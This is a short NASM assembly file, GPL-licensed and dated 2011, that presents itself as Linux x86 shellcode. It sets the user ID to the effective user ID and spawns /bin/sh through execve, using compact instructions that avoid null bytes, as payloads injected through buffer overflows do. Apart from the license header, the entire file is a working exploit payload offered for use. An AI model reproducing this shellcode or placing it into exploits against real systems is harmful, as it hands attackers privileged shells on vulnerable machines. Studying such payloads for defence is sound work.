; system.asm - linux getuid/setuid/execve(bin/sh)/exit(0) shellcode
; Copyright (C) 2011 - buffer (bufferoverfl0wz at google mail)
;
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; This should have received a copy of the GNU General Public License
; along with this program.  If not, see <http://www.gnu.org/licenses/>.

BITS 32

segment .text

push byte 0x31
pop eax
int 0x80              ; 

mov ebx, eax          ; ebx = geteuid()
push byte 0x17
pop eax
int 0x80              ; setuid(ebx)

cdq                   ; edx = 0
push edx
push 0x68732f6e       ; echo -n n/sh | od -t x4
push 0x69622f2f       ; /bin//sh\0 on stack

mov ebx, esp          ; save stack position
push edx              ; NULL
push ebx              ; pointer to string
                      ; ebx points to string /bin/sh
mov ecx, esp          ; pointer to array {ebx, NULL}

push byte 0x0c         ; SYS_execve=0xb
pop eax
dec eax
int 0x80              ; execve(ebx, ecx, edx)

push byte 0x1
pop ebx
xchg eax, ebx
dec ebx
int 0x80              ; exit(0)

